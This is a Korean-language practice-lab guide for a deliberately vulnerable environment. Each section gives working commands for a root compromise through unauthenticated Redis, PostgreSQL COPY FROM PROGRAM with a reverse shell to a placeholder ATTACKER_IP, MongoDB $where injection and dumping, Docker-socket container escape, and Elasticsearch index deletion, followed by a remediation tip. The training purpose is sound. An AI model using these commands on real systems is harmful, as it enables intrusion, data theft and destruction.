Linux 서버(2223/SSH), Redis(6379), PostgreSQL(5432), MongoDB(27017), Docker Socket 실습 환경
Redis가 인증 없이 0.0.0.0:6379로 열려있어, CONFIG SET으로 SSH 공개키를 authorized_keys에 강제 저장하여 RCE 가능.
# 1. Redis 인증 없음 확인 redis-cli -h <TARGET_IP> -p 6379 PING # → PONG (인증 없이 응답) # 2. 기존 키 확인 redis-cli -h <TARGET_IP> -p 6379 KEYS '*' # 3. SSH 키 생성 후 Redis로 authorized_keys 덮어쓰기 ssh-keygen -t rsa -f /tmp/redis_key -N "" (echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/key.txt cat /tmp/key.txt | redis-cli -h <TARGET_IP> -p 6379 -x set ssh_key redis-cli -h <TARGET_IP> -p 6379 config set dir /root/.ssh/ redis-cli -h <TARGET_IP> -p 6379 config set dbfilename authorized_keys redis-cli -h <TARGET_IP> -p 6379 save # 4. SSH 접속 확인 (RCE 성공 시 root 로그인) ssh -i /tmp/redis_key root@<TARGET_IP> -p 2223
💡 조치: requirepass 설정, bind 127.0.0.1, rename-command CONFIG "" (명령어 이름 변경으로 차단)
pg_hba.conf에 trust 인증이 설정되어 있어 비밀번호 없이 로그인 가능. superuser 권한이면 COPY ... TO PROGRAM으로 임의 명령 실행 가능.
# 1. 인증 없이 접속 확인 (틀린 비밀번호로도 로그인됨) PGPASSWORD=anything psql -h <TARGET_IP> -p 5432 -U postgres -c "SELECT current_user;" # 2. 버전/권한 확인 psql -h <TARGET_IP> -p 5432 -U postgres -c "SELECT version();" psql -h <TARGET_IP> -p 5432 -U postgres -c "SELECT usesuper FROM pg_user WHERE usename='postgres';" # 3. COPY TO PROGRAM으로 명령어 실행 (superuser 권한 필요) psql -h <TARGET_IP> -p 5432 -U postgres -c " CREATE TABLE cmd_exec(output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; " # 4. 리버스 쉘 실행 예시 psql -h <TARGET_IP> -p 5432 -U postgres -c " COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"'; "
💡 조치: pg_hba.conf에서 trust 제거, scram-sha-256 인증 사용, 최소권한 계정 분리, listen_addresses 제한
MongoDB가 auth 없이 0.0.0.0:27017로 열려있어 누구나 전체 DB 접근 가능. $where 연산자로 JS 코드 인젝션도 가능.
# 1. 인증 없이 접속 확인
mongosh --host <TARGET_IP> --port 27017 --eval "db.version()"
# 2. 전체 DB 목록 조회 (인증 없음 확인)
mongosh --host <TARGET_IP> --port 27017 --eval "db.adminCommand('listDatabases')"
# 3. $where injection (NoSQL Injection)
mongosh --host <TARGET_IP> --port 27017 corp_db --eval "
db.users.find({\$where: 'this.password.length > 0 || true'})
"
# → 조건 우회로 전체 사용자 데이터 노출
# 4. 데이터 덤프 (mongodump)
mongodump --host <TARGET_IP> --port 27017 --out /tmp/mongo_dump
💡 조치: --auth 옵션으로 인증 활성화, bindIp를 127.0.0.1로 제한, $where 사용 금지(애플리케이션 레벨에서 차단)
linux-vuln 컨테이너 내부에 /var/run/docker.sock이 마운트되어 있어, 컨테이너 안에서 호스트 Docker 데몬을 제어하여 호스트 시스템 전체 장악 가능.
# (SSH로 linux-vuln 컨테이너 접속 후) ssh root@<TARGET_IP> -p 2223 # 비밀번호: root # 1. Docker Socket 존재 확인 ls -la /var/run/docker.sock # 2. 호스트의 모든 컨테이너 목록 조회 (호스트 정보 노출) docker -H unix:///var/run/docker.sock ps -a # 3. 호스트 파일시스템 마운트하여 탈출 docker -H unix:///var/run/docker.sock run -it --rm \ -v /:/mnt ubuntu:22.04 chroot /mnt bash # → 호스트의 root 쉘 획득 # 4. 다른 컨테이너(forus-web-vuln)에 직접 침투 docker -H unix:///var/run/docker.sock exec -it forus-web-vuln bash
💡 조치: Docker Socket을 컨테이너에 마운트하지 말 것. 꼭 필요하면 Docker Socket Proxy(권한 제한 프록시) 사용
Elasticsearch가 X-Pack 보안 기능 없이 0.0.0.0:9200으로 열려있어 누구나 REST API로 전체 데이터 접근 가능.
# 1. 버전/클러스터 정보 확인 (인증 없이 응답) curl -s http://<TARGET_IP>:9200 # 2. 전체 인덱스 목록 조회 curl -s http://<TARGET_IP>:9200/_cat/indices?v # 3. 특정 인덱스의 전체 문서 덤프 curl -s "http://<TARGET_IP>:9200/<INDEX_NAME>/_search?size=1000&pretty" # 4. 클러스터 상태/노드 정보 노출 (내부 인프라 정보 획득) curl -s http://<TARGET_IP>:9200/_cluster/health?pretty curl -s http://<TARGET_IP>:9200/_nodes?pretty # 5. 인덱스 삭제 공격 (파괴적 — 실습 환경에서만) curl -X DELETE "http://<TARGET_IP>:9200/<INDEX_NAME>"
💡 조치: xpack.security.enabled: true 설정, 강력한 비밀번호 정책, network.host를 내부망으로 제한, 방화벽으로 9200 포트 차단
| 서비스 | 포트 | 인증 | 실습 내용 |
|---|---|---|---|
| SSH | 2223 | root:root | 기본 계정, Redis RCE 검증 |
| Redis | 6379 | 없음 | SSH Key 삽입 RCE |
| PostgreSQL | 5432 | trust | COPY TO PROGRAM RCE |
| MongoDB | 27017 | 없음 | 전체 데이터 노출, $where Injection |
| Elasticsearch | 9200 | 없음 | 전체 인덱스 데이터 노출, 삭제 공격 |
| MySQL | 3307 | root:root | 외부 허용, 과도한 권한 |
| FTP | 2121 | anonymous | 내부 문서 노출 |
| Docker Socket | - | - | 컨테이너 탈출 (SSH 접속 후) |